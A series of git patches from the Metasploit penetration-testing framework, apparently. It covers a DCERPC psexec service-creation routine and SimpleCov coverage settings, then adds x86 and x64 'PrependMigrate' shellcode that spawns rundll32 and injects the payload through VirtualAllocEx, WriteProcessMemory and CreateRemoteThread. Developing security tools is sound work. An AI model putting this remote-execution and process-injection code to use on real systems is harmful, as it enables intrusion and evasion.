Rex::Text.rand_text_alpha(11) + displayname = Rex::Text.rand_text_alpha(16) + holdhandle = scm_handle + svc_handle = nil + svc_status = nil - stubdata = - scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + + stubdata = + scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + - NDR.long(0x0F01FF) + # Access: MAX - NDR.long(0x00000110) + # Type: Interactive, Own process - NDR.long(0x00000003) + # Start: Demand - NDR.long(0x00000000) + # Errors: Ignore - NDR.wstring( command ) + - NDR.long(0) + # LoadOrderGroup - NDR.long(0) + # Dependencies - NDR.long(0) + # Service Start - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) # Password - begin - vprint_status("#{peer} - Creating the service...") - response = dcerpc.call(0x0c, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - svc_handle = dcerpc.last_response.stub_data[0,20] - svc_status = dcerpc.last_response.stub_data[24,4] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end + NDR.long(0x0F01FF) + # Access: MAX + NDR.long(0x00000110) + # Type: Interactive, Own process + NDR.long(0x00000003) + # Start: Demand + NDR.long(0x00000000) + # Errors: Ignore + NDR.wstring( command ) + + NDR.long(0) + # LoadOrderGroup + NDR.long(0) + # Dependencies + NDR.long(0) + # Service Start + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) # Password + begin + vprint_status("#{peer} - Creating the service...") + response = dcerpc.call(0x0c, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + svc_handle = dcerpc.last_response.stub_data[0,20] + svc_status = dcerpc.last_response.stub_data[24,4] + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end - vprint_status("#{peer} - Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception - end + vprint_status("#{peer} - Closing service handle...") + begin + response = dcerpc.call(0x0, svc_handle) + rescue ::Exception + end - vprint_status("#{peer} - Opening service...") - begin - stubdata = - scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) + vprint_status("#{peer} - Opening service...") + begin + stubdata = + scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) - response = dcerpc.call(0x10, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - svc_handle = dcerpc.last_response.stub_data[0,20] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end + response = dcerpc.call(0x10, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + svc_handle = dcerpc.last_response.stub_data[0,20] + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end - vprint_status("#{peer} - Starting the service...") - stubdata = - svc_handle + NDR.long(0) + NDR.long(0) - begin - response = dcerpc.call(0x13, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end + vprint_status("#{peer} - Starting the service...") + stubdata = + svc_handle + NDR.long(0) + NDR.long(0) + begin + response = dcerpc.call(0x13, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end - vprint_status("#{peer} - Removing the service...") - stubdata = - svc_handle - begin - response = dcerpc.call(0x02, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - end + vprint_status("#{peer} - Removing the service...") + stubdata = + svc_handle + begin + response = dcerpc.call(0x02, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + end - vprint_status("#{peer} - Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - end + vprint_status("#{peer} - Closing service handle...") + begin + response = dcerpc.call(0x0, svc_handle) + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + end - select(nil, nil, nil, 1.0) - simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") - return true - end + select(nil, nil, nil, 1.0) + simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") + return true + end - # This method is called by file_dropper to remove files droped - # By your module - # - # @example - # file_rm('C:\WINDOWS\Temp\output.txt') - # - # @param file [String] Full path to a file on the remote host - # @return [StandardError] only in the event of an error - def file_rm(file) - delete = "%COMSPEC% /C del #{file}" - vprint_status("#{peer} - Deleting #{file}") - psexec(delete) - end + # This method is called by file_dropper to remove files droped + # By your module + # + # @example + # file_rm('C:\WINDOWS\Temp\output.txt') + # + # @param file [String] Full path to a file on the remote host + # @return [StandardError] only in the event of an error + def file_rm(file) + delete = "%COMSPEC% /C del #{file}" + vprint_status("#{peer} - Deleting #{file}") + psexec(delete) + end - # This method stores files in an Instance array - # The files are then deleted from the remote host once - # the cleanup_after method is called - # - # @example - # register_file_for_cleanup("C:\\WINDOWS\\Temp\\output.txt") - # @param file [String] Full path to the file on the remote host - def register_file_for_cleanup(*file) - @dropped_files ||= [] - @dropped_files += file - end + # This method stores files in an Instance array + # The files are then deleted from the remote host once + # the cleanup_after method is called + # + # @example + # register_file_for_cleanup("C:\\WINDOWS\\Temp\\output.txt") + # @param file [String] Full path to the file on the remote host + def register_file_for_cleanup(*file) + @dropped_files ||= [] + @dropped_files += file + end - # This method removes any files that were dropped on the remote system - # and marked with the register_file_for_cleanup method - def cleanup_after - print_status("#{peer} - Removing files dropped by your module/exploit") - if !@dropped_files - return - end - begin - @dropped_files.delete_if do |file| - file_rm(file) - print_good("#{peer} - Deleted #{file}") - end - rescue ::Exception => cleanup_error - print_error("#{peer} - Unable to delte #{file}. #{cleanup_error}") - end - end + # This method removes any files that were dropped on the remote system + # and marked with the register_file_for_cleanup method + def cleanup_after + print_status("#{peer} - Removing files dropped by your module/exploit") + if !@dropped_files + return + end + begin + @dropped_files.delete_if do |file| + file_rm(file) + print_good("#{peer} - Deleted #{file}") + end + rescue ::Exception => cleanup_error + print_error("#{peer} - Unable to delte #{file}. #{cleanup_error}") + end + end end From e2ed4f25eba54174f0f87a9d2dbbe40d2d334504 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Fri, 18 Jan 2013 10:02:04 -0600 Subject: [PATCH 012/341] Groups for simplecov report Add Changed group that will show the coverage for any untracked, unstaged, or staged file so developers can more easily see if that their changes are covered. Other groups added for different libraries under lib. --- .simplecov | 50 ++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 50 insertions(+) create mode 100644 .simplecov diff --git a/.simplecov b/.simplecov new file mode 100644 index 0000000000..d3b12fe6bb --- /dev/null +++ b/.simplecov @@ -0,0 +1,50 @@ +SimpleCov.configure do + # ignore this file + add_filter '.simplecov' + + # + # Changed Files in Git Group + # @see http://fredwu.me/post/35625566267/simplecov-test-coverage-for-changed-files-only + # + + untracked = `git ls-files --exclude-standard --others` + unstaged = `git diff --name-only` + staged = `git diff --name-only --cached` + all = untracked + unstaged + staged + changed_filenames = all.split("\n") + + add_group 'Changed' do |source_file| + changed_filenames.detect { |changed_filename| + source_file.filename.end_with?(changed_filename) + } + end + + # + # Framework (msf) related groups + # + + add_group 'Metasploit Framework', 'lib/msf' + add_group 'Metasploit Framework (Base)', 'lib/msf/base' + add_group 'Metasploit Framework (Core)', 'lib/msf/core' + + # + # Other library groups + # + + add_group 'Fastlib', 'lib/fastlib' + add_group 'Metasm', 'lib/metasm' + add_group 'PacketFu', 'lib/packetfu' + add_group 'Rex', 'lib/rex' + add_group 'RKelly', 'lib/rkelly' + add_group 'Ruby Mysql', 'lib/rbmysql' + add_group 'Ruby Postgres', 'lib/postgres' + add_group 'SNMP', 'lib/snmp' + add_group 'Zip', 'lib/zip' + + # + # Specs are reported on to ensure that all examples are being run and all + # lets, befores, afters, etc are being used. + # + + add_group 'Specs', 'spec' +end From 3c2c808457b1dc3a9ea3bc23d1ad463b10d76b5e Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Fri, 18 Jan 2013 11:12:16 -0600 Subject: [PATCH 013/341] Better Rubymine compatibility for .simplecov Rubymine's code coverage tools separate collection from reporting so that multiple runs can have their data merged. To separate, collecting from reporting, SimpleCov.start is only run when not using Rubymine (as indicated by a lack of the RM_INFO environment variable). This way, `rake spec` will collect coverage info and generate the report as before, but Rubymine will only collect coverage when using 'Run ... with coverage enabled' button and will only generate a report when using 'Generate Coverage Report' as is the intended behavior in Rubymine. --- .simplecov | 8 ++++++++ spec/spec_helper.rb | 6 ------ 2 files changed, 8 insertions(+), 6 deletions(-) diff --git a/.simplecov b/.simplecov index d3b12fe6bb..e8c1b367cf 100644 --- a/.simplecov +++ b/.simplecov @@ -1,3 +1,11 @@ +# RM_INFO is set when using Rubymine. In Rubymine, starting SimpleCov is +# controlled by running with coverage, so don't explicitly start coverage (and +# therefore generate a report) when in Rubymine. This _will_ generate a report +# whenever `rake spec` is run. +unless ENV['RM_INFO'] + SimpleCov.start +end + SimpleCov.configure do # ignore this file add_filter '.simplecov' diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb index cf27db43d6..23c7b0778f 100644 --- a/spec/spec_helper.rb +++ b/spec/spec_helper.rb @@ -11,12 +11,6 @@ $LOAD_PATH.unshift(lib_pathname.to_s) # must be first require and started before any other requires so that it can measure coverage of all following required # code. It is after the rubygems and bundler only because Bundler.setup supplies the LOAD_PATH to simplecov. require 'simplecov' -# Ensure the coverage directory is always the same no matter where the individual spec is in the hierarchy when using -# Rubymine to run one spec. -# -# @see https://github.com/colszowka/simplecov/issues/95 -SimpleCov.root(root_pathname) -SimpleCov.start require 'rspec/core' From 0b32111a9fcfbae133cbe5aef5cca8660ac965c2 Mon Sep 17 00:00:00 2001 From: scriptjunkie Date: Sun, 21 Oct 2012 14:27:54 -0500 Subject: [PATCH 014/341] Revert "Revert "Merge branch 'migrator' of git://github.com/scriptjunkie/metasploit-framework into scriptjunkie-migrator"" This reverts commit 2436ac3a583bdb82944799698a10b6678890bd37. --- lib/msf/core/exploit.rb | 9 ++ lib/msf/core/payload/windows.rb | 202 +++++++++++++++++++++++++++++++- 2 files changed, 209 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index 6d2afc913d..dd68fb16b0 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -1242,6 +1242,15 @@ class Exploit < Msf::Module not datastore['DisablePayloadHandler'] end + # + # Returns the state of the PrependMigrate option + # See https://github.com/rapid7/metasploit-framework/pull/917 + # for discussion. + # + def prepend_migrate? + datastore['PrependMigrate'] + end + ## # # Handler interaction diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index 64f5914f02..58cad1073a 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -26,7 +26,7 @@ module Msf::Payload::Windows # This mixin is chained within payloads that target the Windows platform. # It provides special variable substitution for things like EXITFUNC and # automatically adds it as a required option for exploits that use windows - # payloads. + # payloads. It also provides the migrate prepend. # def initialize(info = {}) ret = super( info ) @@ -53,10 +53,208 @@ module Msf::Payload::Windows [ Msf::OptRaw.new('EXITFUNC', [ true, "Exit technique: #{@@exit_types.keys.join(", ")}", 'process' ]) ], Msf::Payload::Windows ) - + register_advanced_options( + [ + Msf::OptBool.new('PrependMigrate', [ true, "Spawns and runs shellcode in new process", false ]), + Msf::OptString.new('PrependMigrateProc', [ false, "Process to spawn and run shellcode in" ]) + ], Msf::Payload::Windows ) ret end + # + # Overload the generate() call to prefix our stubs + # + def generate(*args) + # Call the real generator to get the payload + buf = super(*args) + pre = '' + + test_arch = [ *(self.arch) ] + + # Handle all x86 code here + if (test_arch.include?(ARCH_X86)) + + # PrependMigrate + if (datastore['PrependMigrate']) + payloadsize = "0x%04x" % buf.length + procname = datastore['PrependMigrateProc'] || 'rundll32' + + migrate_asm = <Ldr + mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list +next_mod: ; + mov esi, [edx+40] ; Get pointer to modules name (unicode string) + movzx ecx, word [edx+38] ; Set ECX to the length we want to check + xor edi, edi ; Clear EDI which will store the hash of the module name +loop_modname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the name + cmp al, 'a' ; Some versions of Windows use lower case module names + jl not_lowercase ; + sub al, 0x20 ; If so normalise to uppercase +not_lowercase: ; + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + loop loop_modname ; Loop untill we have read enough + ; We now have the module hash computed + push edx ; Save the current position in the module list for later + push edi ; Save the current module hash for later + ; Proceed to iterate the export address table, + mov edx, [edx+16] ; Get this modules base address + mov eax, [edx+60] ; Get PE header + add eax, edx ; Add the modules base address + mov eax, [eax+120] ; Get export tables RVA + test eax, eax ; Test if no export address table is present + jz get_next_mod1 ; If no EAT present, process the next module + add eax, edx ; Add the modules base address + push eax ; Save the current modules EAT + mov ecx, [eax+24] ; Get the number of function names + mov ebx, [eax+32] ; Get the rva of the function names + add ebx, edx ; Add the modules base address + ; Computing the module hash + function hash +get_next_func: ; + jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module + dec ecx ; Decrement the function name counter + mov esi, [ebx+ecx*4] ; Get rva of next module name + add esi, edx ; Add the modules base address + xor edi, edi ; Clear EDI which will store the hash of the function name + ; And compare it to the one we want +loop_funcname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the ASCII function name + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + cmp al, ah ; Compare AL (the next byte from the name) to AH (null) + jne loop_funcname ; If we have not reached the null terminator, continue + add edi, [ebp-8] ; Add the current module hash to the function hash + cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for + jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... + pop eax ; Restore the current modules EAT + mov ebx, [eax+36] ; Get the ordinal table rva + add ebx, edx ; Add the modules base address + mov cx, [ebx+2*ecx] ; Get the desired functions ordinal + mov ebx, [eax+28] ; Get the function addresses table rva + add ebx, edx ; Add the modules base address + mov eax, [ebx+4*ecx] ; Get the desired functions RVA + add eax, edx ; Add the modules base address to get the functions actual VA + ; We now fix up the stack and perform the call to the desired function... +finish: + mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad + pop ebx ; Clear off the current modules hash + pop ebx ; Clear off the current position in the module list + popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered + pop ecx ; Pop off the origional return address our caller will have pushed + pop edx ; Pop off the hash value our caller will have pushed + push ecx ; Push back the correct return value + jmp eax ; Jump into the required function + ; We now automagically return to the correct caller... +get_next_mod: ; + pop eax ; Pop off the current (now the previous) modules EAT +get_next_mod1: ; + pop edi ; Pop off the current (now the previous) modules hash + pop edx ; Restore our position in the module list + mov edx, [edx] ; Get the next module + jmp next_mod ; Process this module +;-------------------------------------------------------------------------------------- +start: ; + pop ebp ; Pop off the address of 'api_call' for calling later. + + ; get our own startupinfo at esp+0x60 + add esp,-400 ; adjust the stack to avoid corruption + mov edx,esp + add edx,0x60 + push edx + push 0xB16B4AB1 ; hash( "kernel32.dll", "GetStartupInfoA" ) + call ebp ; GetStartupInfoA( &si ); + + ; ptr to startupinfo is in eax + ; pointer to string is in ecx + jmp getcommand + gotcommand: + pop esi ; esi = address of process name (command line) + + ; create the process + mov edi,eax + add edi,0x60 ; Offset of empty space for lpProcessInformation + push edi ; lpProcessInformation : write processinfo here + push eax ; lpStartupInfo : current info (read) + xor ebx,ebx + push ebx ; lpCurrentDirectory + push ebx ; lpEnvironment + push 0x08000004 ; dwCreationFlags CREATE_NO_WINDOW | CREATE_SUSPENDED + push ebx ; bInHeritHandles + push ebx ; lpThreadAttributes + push ebx ; lpProcessAttributes + push esi ; lpCommandLine + push ebx ; lpApplicationName + + push 0x863FCC79 ; hash( "kernel32.dll", "CreateProcessA" ) + call ebp ; CreateProcessA( &si ); + + ; allocate memory in the process (VirtualAllocEx()) + ; get handle + push 0x40 ; RWX + add bh,0x10 ; ebx = 0x1000 + push ebx ; MEM_COMMIT + push ebx ; size + xor ebx,ebx + push ebx ; address + push [edi] ; handle + push 0x3F9287AE ; hash( "kernel32.dll", "VirtualAllocEx" ) + call ebp ; VirtualAllocEx( ...); + + ; eax now contains the destination + ; WriteProcessMemory() + push esp ; lpNumberOfBytesWritten + push #{payloadsize} ; nSize + ; pick up pointer to shellcode & keep it on stack + jmp begin_of_payload + begin_of_payload_return: ; lpBuffer + push eax ; lpBaseAddress + push [edi] ; hProcess + push 0xE7BDD8C5 ; hash( "kernel32.dll", "WriteProcessMemory" ) + call ebp ; WriteProcessMemory( ...); + + ; run the code (CreateRemoteThread()) + push ebx ; lpthreadID + push ebx ; run immediately + push ebx ; no parameter + mov ecx,[esp-0x4] + push ecx ; shellcode + push ebx ; stacksize + push ebx ; lpThreadAttributes + push [edi] + push 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" ) + call ebp ; CreateRemoteThread( ...); + + ;sleep + push -1 + push 0xE035F044 ; hash( "kernel32.dll", "Sleep" ) + call ebp ; Sleep( ... ); + +getcommand: + call gotcommand + db "#{procname}" + db 0x00 +begin_of_payload: + call begin_of_payload_return +EOS + + pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string + end + end + + return (pre + buf) + end + # # Replace the EXITFUNC variable like madness # From 725d4d719446f7be0f32eedbbb23f7c5eeba7ced Mon Sep 17 00:00:00 2001 From: scriptjunkie Date: Sat, 20 Oct 2012 12:14:53 -0500 Subject: [PATCH 015/341] Re-use block_api code in migrate stub if possible Makes payload significantly smaller. --- lib/msf/core/payload/windows.rb | 46 ++++++++++++++++++++++++++++----- 1 file changed, 40 insertions(+), 6 deletions(-) diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index 58cad1073a..cd66e2f557 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -79,9 +79,11 @@ module Msf::Payload::Windows payloadsize = "0x%04x" % buf.length procname = datastore['PrependMigrateProc'] || 'rundll32' - migrate_asm = < Date: Sat, 20 Oct 2012 15:56:39 -0500 Subject: [PATCH 016/341] Fix error calculating payload sizes. Error meant most Windows payloads were marked as incompatible with many exploits. --- lib/msf/core/payload/windows.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index cd66e2f557..e3bb673c51 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -75,7 +75,7 @@ module Msf::Payload::Windows if (test_arch.include?(ARCH_X86)) # PrependMigrate - if (datastore['PrependMigrate']) + if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true' payloadsize = "0x%04x" % buf.length procname = datastore['PrependMigrateProc'] || 'rundll32' From 15268cae7340ceec5022189b22ffd5b90957cc10 Mon Sep 17 00:00:00 2001 From: scriptjunkie Date: Sat, 27 Oct 2012 14:06:40 -0500 Subject: [PATCH 017/341] Add X64 PrependMigrate support --- lib/msf/core/payload/windows.rb | 227 +++++++++++++++++++++++++++++++- 1 file changed, 223 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index e3bb673c51..23897b9115 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -72,8 +72,7 @@ module Msf::Payload::Windows test_arch = [ *(self.arch) ] # Handle all x86 code here - if (test_arch.include?(ARCH_X86)) - + if test_arch.include?(ARCH_X86) # PrependMigrate if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true' payloadsize = "0x%04x" % buf.length @@ -93,7 +92,7 @@ api_call: mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list next_mod: ; mov esi, [edx+40] ; Get pointer to modules name (unicode string) - movzx ecx, word [edx+38] ; Set ECX to the length we want to check + movzx ecx, word [edx+38] ; Set ECX to the length we want to check xor edi, edi ; Clear EDI which will store the hash of the module name loop_modname: ; xor eax, eax ; Clear EAX @@ -108,7 +107,7 @@ not_lowercase: ; ; We now have the module hash computed push edx ; Save the current position in the module list for later push edi ; Save the current module hash for later - ; Proceed to iterate the export address table, + ; Proceed to iterate the export address table mov edx, [edx+16] ; Get this modules base address mov eax, [edx+60] ; Get PE header add eax, edx ; Add the modules base address @@ -285,6 +284,226 @@ EOS pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string end + # Handle all x86 code here + elsif test_arch.include?(ARCH_X86_64) or test_arch.include?(ARCH_X64) + # PrependMigrate + if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true' + payloadsize = "0x%04x" % buf.length + procname = datastore['PrependMigrateProc'] || 'rundll32' + + # Prepare instructions to get address of block_api into ebp + block_api_start = <Ldr + mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list +next_mod: ; + mov rsi, [rdx+80] ; Get pointer to modules name (unicode string) + movzx rcx, word [rdx+74] ; Set rcx to the length we want to check + xor r9, r9 ; Clear r9 which will store the hash of the module name +loop_modname: ; + xor rax, rax ; Clear rax + lodsb ; Read in the next byte of the name + cmp al, 'a' ; Some versions of Windows use lower case module names + jl not_lowercase ; + sub al, 0x20 ; If so normalise to uppercase +not_lowercase: ; + ror r9d, 13 ; Rotate right our hash value + add r9d, eax ; Add the next byte of the name + loop loop_modname ; Loop untill we have read enough + ; We now have the module hash computed + push rdx ; Save the current position in the module list for later + push r9 ; Save the current module hash for later + ; Proceed to itterate the export address table, + mov rdx, [rdx+32] ; Get this modules base address + mov eax, dword [rdx+60] ; Get PE header + add rax, rdx ; Add the modules base address + mov eax, dword [rax+136] ; Get export tables RVA + test rax, rax ; Test if no export address table is present + jz get_next_mod1 ; If no EAT present, process the next module + add rax, rdx ; Add the modules base address + push rax ; Save the current modules EAT + mov ecx, dword [rax+24] ; Get the number of function names + mov r8d, dword [rax+32] ; Get the rva of the function names + add r8, rdx ; Add the modules base address + ; Computing the module hash + function hash +get_next_func: ; + jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module + dec rcx ; Decrement the function name counter + mov esi, dword [r8+rcx*4]; Get rva of next module name + add rsi, rdx ; Add the modules base address + xor r9, r9 ; Clear r9 which will store the hash of the function name + ; And compare it to the one we want +loop_funcname: ; + xor rax, rax ; Clear rax + lodsb ; Read in the next byte of the ASCII function name + ror r9d, 13 ; Rotate right our hash value + add r9d, eax ; Add the next byte of the name + cmp al, ah ; Compare AL (the next byte from the name) to AH (null) + jne loop_funcname ; If we have not reached the null terminator, continue + add r9, [rsp+8] ; Add the current module hash to the function hash + cmp r9d, r10d ; Compare the hash to the one we are searchnig for + jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... + pop rax ; Restore the current modules EAT + mov r8d, dword [rax+36] ; Get the ordinal table rva + add r8, rdx ; Add the modules base address + mov cx, [r8+2*rcx] ; Get the desired functions ordinal + mov r8d, dword [rax+28] ; Get the function addresses table rva + add r8, rdx ; Add the modules base address + mov eax, dword [r8+4*rcx]; Get the desired functions RVA + add rax, rdx ; Add the modules base address to get the functions actual VA + ; We now fix up the stack and perform the call to the drsired function... +finish: + pop r8 ; Clear off the current modules hash + pop r8 ; Clear off the current position in the module list + pop rsi ; Restore RSI + pop rcx ; Restore the 1st parameter + pop rdx ; Restore the 2nd parameter + pop r8 ; Restore the 3rd parameter + pop r9 ; Restore the 4th parameter + pop r10 ; pop off the return address + sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32) + ; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP). + push r10 ; push back the return address + jmp rax ; Jump into the required function + ; We now automagically return to the correct caller... +get_next_mod: ; + pop rax ; Pop off the current (now the previous) modules EAT +get_next_mod1: ; + pop r9 ; Pop off the current (now the previous) modules hash + pop rdx ; Restore our position in the module list + mov rdx, [rdx] ; Get the next module + jmp next_mod ; Process this module +EOS + block_api_rbp_asm = < Date: Sat, 27 Oct 2012 14:09:03 -0500 Subject: [PATCH 018/341] tidy EOL spaces --- lib/msf/core/payload/windows.rb | 48 ++++++++++++++++----------------- 1 file changed, 24 insertions(+), 24 deletions(-) diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index 23897b9115..6761c80782 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -116,7 +116,7 @@ not_lowercase: ; jz get_next_mod1 ; If no EAT present, process the next module add eax, edx ; Add the modules base address push eax ; Save the current modules EAT - mov ecx, [eax+24] ; Get the number of function names + mov ecx, [eax+24] ; Get the number of function names mov ebx, [eax+32] ; Get the rva of the function names add ebx, edx ; Add the modules base address ; Computing the module hash + function hash @@ -135,14 +135,14 @@ loop_funcname: ; cmp al, ah ; Compare AL (the next byte from the name) to AH (null) jne loop_funcname ; If we have not reached the null terminator, continue add edi, [ebp-8] ; Add the current module hash to the function hash - cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for + cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for jnz get_next_func ; Go compute the next function hash if we have not found it ; If found, fix up stack, call the function and then value else compute the next one... pop eax ; Restore the current modules EAT - mov ebx, [eax+36] ; Get the ordinal table rva + mov ebx, [eax+36] ; Get the ordinal table rva add ebx, edx ; Add the modules base address mov cx, [ebx+2*ecx] ; Get the desired functions ordinal - mov ebx, [eax+28] ; Get the function addresses table rva + mov ebx, [eax+28] ; Get the function addresses table rva add ebx, edx ; Add the modules base address mov eax, [ebx+4*ecx] ; Get the desired functions RVA add eax, edx ; Add the modules base address to get the functions actual VA @@ -246,15 +246,15 @@ start: ; eax now contains the destination ; WriteProcessMemory() - push esp ; lpNumberOfBytesWritten - push #{payloadsize} ; nSize + push esp ; lpNumberOfBytesWritten + push #{payloadsize} ; nSize ; pick up pointer to shellcode & keep it on stack jmp begin_of_payload - begin_of_payload_return: ; lpBuffer - push eax ; lpBaseAddress - push [edi] ; hProcess + begin_of_payload_return: ; lpBuffer + push eax ; lpBaseAddress + push [edi] ; hProcess push 0xE7BDD8C5 ; hash( "kernel32.dll", "WriteProcessMemory" ) - call ebp ; WriteProcessMemory( ...); + call ebp ; WriteProcessMemory( ...) ; run the code (CreateRemoteThread()) push ebx ; lpthreadID @@ -264,7 +264,7 @@ start: push ecx ; shellcode push ebx ; stacksize push ebx ; lpThreadAttributes - push [edi] + push [edi] push 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" ) call ebp ; CreateRemoteThread( ...); @@ -284,7 +284,7 @@ EOS pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string end - # Handle all x86 code here + # Handle all x64 code here elsif test_arch.include?(ARCH_X86_64) or test_arch.include?(ARCH_X64) # PrependMigrate if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true' @@ -308,7 +308,7 @@ api_call: mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list next_mod: ; mov rsi, [rdx+80] ; Get pointer to modules name (unicode string) - movzx rcx, word [rdx+74] ; Set rcx to the length we want to check + movzx rcx, word [rdx+74] ; Set rcx to the length we want to check xor r9, r9 ; Clear r9 which will store the hash of the module name loop_modname: ; xor rax, rax ; Clear rax @@ -323,7 +323,7 @@ not_lowercase: ; ; We now have the module hash computed push rdx ; Save the current position in the module list for later push r9 ; Save the current module hash for later - ; Proceed to itterate the export address table, + ; Proceed to itterate the export address table mov rdx, [rdx+32] ; Get this modules base address mov eax, dword [rdx+60] ; Get PE header add rax, rdx ; Add the modules base address @@ -332,7 +332,7 @@ not_lowercase: ; jz get_next_mod1 ; If no EAT present, process the next module add rax, rdx ; Add the modules base address push rax ; Save the current modules EAT - mov ecx, dword [rax+24] ; Get the number of function names + mov ecx, dword [rax+24] ; Get the number of function names mov r8d, dword [rax+32] ; Get the rva of the function names add r8, rdx ; Add the modules base address ; Computing the module hash + function hash @@ -351,14 +351,14 @@ loop_funcname: ; cmp al, ah ; Compare AL (the next byte from the name) to AH (null) jne loop_funcname ; If we have not reached the null terminator, continue add r9, [rsp+8] ; Add the current module hash to the function hash - cmp r9d, r10d ; Compare the hash to the one we are searchnig for + cmp r9d, r10d ; Compare the hash to the one we are searchnig for jnz get_next_func ; Go compute the next function hash if we have not found it ; If found, fix up stack, call the function and then value else compute the next one... pop rax ; Restore the current modules EAT - mov r8d, dword [rax+36] ; Get the ordinal table rva + mov r8d, dword [rax+36] ; Get the ordinal table rva add r8, rdx ; Add the modules base address mov cx, [r8+2*rcx] ; Get the desired functions ordinal - mov r8d, dword [rax+28] ; Get the function addresses table rva + mov r8d, dword [rax+28] ; Get the function addresses table rva add r8, rdx ; Add the modules base address mov eax, dword [r8+4*rcx]; Get the desired functions RVA add rax, rdx ; Add the modules base address to get the functions actual VA @@ -462,16 +462,16 @@ start: call rbp ; VirtualAllocEx( ...); ; eax now contains the destination - save in ebx - mov rbx, rax ; lpBaseAddress + mov rbx, rax ; lpBaseAddress ; WriteProcessMemory() - push rsp ; lpNumberOfBytesWritten - mov r9, #{payloadsize} ; nSize + push rsp ; lpNumberOfBytesWritten + mov r9, #{payloadsize} ; nSize ; pick up pointer to shellcode & keep it on stack jmp begin_of_payload begin_of_payload_return: pop r8 ; lpBuffer - mov rdx, rax ; lpBaseAddress - mov rcx, [rdi] ; hProcess + mov rdx, rax ; lpBaseAddress + mov rcx, [rdi] ; hProcess mov r10d, 0xE7BDD8C5 ; hash( "kernel32.dll", "WriteProcessMemory" ) call rbp ; WriteProcessMemory( ...); 